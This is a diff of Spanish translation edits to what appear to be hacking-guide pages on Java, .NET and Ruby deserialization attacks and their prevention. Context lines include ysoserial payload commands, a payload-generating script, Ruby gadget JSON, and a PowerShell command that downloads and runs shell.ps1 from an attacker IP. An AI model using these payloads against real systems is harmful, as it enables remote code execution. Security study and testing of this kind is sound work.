En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas.
|
||||
|
||||
### Huellas dactilares
|
||||
### Huellas digitales
|
||||
|
||||
#### Caja blanca
|
||||
|
||||
@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
```
|
||||
### Verificar si es vulnerable
|
||||
|
||||
Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Prueba de Caja Blanca
|
||||
|
||||
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Al crear un payload para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Al crear una carga útil para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente la carga útil, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
|
||||
Siéntete libre de usar el siguiente script para crear **todas las posibles cargas útiles de ejecución de código** para Windows y Linux y luego probarlas en la página web vulnerable:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -494,14 +494,14 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo
|
||||
Java utiliza mucha serialización para varios propósitos como:
|
||||
|
||||
- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
|
||||
- **RMI (Invocación de Métodos Remotos)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
|
||||
- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
|
||||
- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
|
||||
- **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
|
||||
- **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
|
||||
- **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red.
|
||||
- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Objetos transitorios
|
||||
#### Transient objects
|
||||
|
||||
Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
|
||||
```java
|
||||
@ -512,7 +512,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Evitar la serialización de una clase que necesita implementar Serializable
|
||||
|
||||
En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
|
||||
En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrese de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Uso de un agente Java para mejorar la seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de la JVM:
|
||||
**Uso de un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
### Referencias
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -585,12 +585,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Inyección JNDI & log4Shell
|
||||
|
||||
Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
Encuentra qué es **JNDI Injection, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,7 +597,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Servicio de Mensajes de Java
|
||||
|
||||
> La API de **Servicio de Mensajes de Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> La API de **Java Message Service** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Productos
|
||||
|
||||
@ -656,9 +655,9 @@ Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatte
|
||||
|
||||
#### Más parámetros de ysoserial.net
|
||||
|
||||
- `--minify` proporcionará una **carga útil más pequeña** (si es posible)
|
||||
- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
|
||||
- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas)
|
||||
- `--minify` proporcionará una **carga útil más pequeña** (si es posible).
|
||||
- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso).
|
||||
- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
|
||||
|
||||
**Ejemplos de ysoserial** para crear exploits:
|
||||
```bash
|
||||
@ -679,7 +678,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
|
||||
Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\
|
||||
Si indicas este parámetro, **ysoserial.net** **intentar**á el **exploit localmente,** así puedes probar si tu payload funcionará correctamente.\
|
||||
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -728,14 +727,14 @@ Para mitigar los riesgos asociados con la deserialización en .Net:
|
||||
|
||||
### **Referencias**
|
||||
|
||||
- Documento sobre deserialización JSON en Java y .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
En Ruby, la serialización se facilita mediante dos métodos dentro de la **biblioteca marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
|
||||
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
|
||||
|
||||
Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
|
||||
|
||||
@ -862,9 +861,9 @@ Consulte más información en la [página de contaminación _json de Ruby](ruby-
|
||||
|
||||
Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente):
|
||||
Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializa (función para abusar para obtener RCE básicamente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Datos de entrada</strong></td><td><strong>Método de inicio dentro de la clase</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([ver notas sobre json_create al final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Datos de entrada</strong></td><td><strong>Método de inicio dentro de la clase</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([ver notas sobre json_create al final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Ejemplo básico:
|
||||
```ruby
|
||||
@ -900,7 +899,7 @@ En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
|
||||
Además, se descubrió que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
|
||||
@ -7,14 +7,14 @@ Esta publicación está dedicada a **entender cómo se explota el gadget ObjectD
|
||||
## Gadget ObjectDataProvider
|
||||
|
||||
De la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace_.\
|
||||
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
|
||||
Sí, es una explicación extraña, así que veamos qué tiene de tan interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
|
||||
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
|
||||
|
||||
### **Cómo es esto posible**
|
||||
|
||||
El espacio de nombres **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
|
||||
El **espacio de nombres System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
|
||||
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen de abajo estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,11 +26,11 @@ Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobreescri
|
||||
|
||||
.png>)
|
||||
|
||||
Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
|
||||
Nota que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
|
||||
|
||||
.png>)
|
||||
|
||||
Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
|
||||
Nota que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
|
||||
|
||||
Si quieres comprobar que solo estableciendo el _**MethodName**_\*\* se ejecutará\*\*, puedes ejecutar este código:
|
||||
```java
|
||||
|
||||
@ -21,7 +21,7 @@ La información de ViewState se puede caracterizar por las siguientes propiedade
|
||||
|
||||
La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:
|
||||
|
||||
1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
|
||||
1. Para **cualquier versión de .NET**, cuando tanto MAC como la Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
|
||||
2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
|
||||
3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
|
||||
4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r."
|
||||
@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Caso de prueba 1.5 – Como el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
|
||||
|
||||
Los desarrolladores pueden **eliminar ViewState** de convertirse en parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
|
||||
Se puede suponer que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
|
||||
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
|
||||
Se puede asumir que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
|
||||
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
|
||||
|
||||
### Caso de prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
|
||||
|
||||
Se puede proporcionar directamente con el viewstate y el generador:
|
||||
```
|
||||
@ -112,13 +112,13 @@ En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el v
|
||||
|
||||
**En este caso, el** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está en desarrollo...**
|
||||
|
||||
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha configurado en _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
|
||||
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** ha sido configurado a _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
|
||||
|
||||
Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
|
||||
|
||||
- Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
|
||||
|
||||
### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos en falso
|
||||
### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
|
||||
|
||||
Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
|
||||
```xml
|
||||
@ -155,11 +155,11 @@ Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parám
|
||||
|
||||
|
||||
|
||||
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) proporcionada.
|
||||
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado
|
||||
|
||||
La propiedad **ViewStateUserKey** puede ser utilizada para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
|
||||
La propiedad **ViewStateUserKey** se puede usar para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
|
||||
Necesitas usar un parámetro más para crear correctamente la carga útil:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
|
||||
@ -28,7 +28,7 @@ int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la **ejecución de** **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
|
||||
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución de **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
|
||||
|
||||
Ahora, echemos un vistazo al código de `URLObject.hashCode()`:
|
||||
```java
|
||||
@ -135,7 +135,7 @@ Puedes descargar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) des
|
||||
|
||||
### ¿Cómo funciona?
|
||||
|
||||
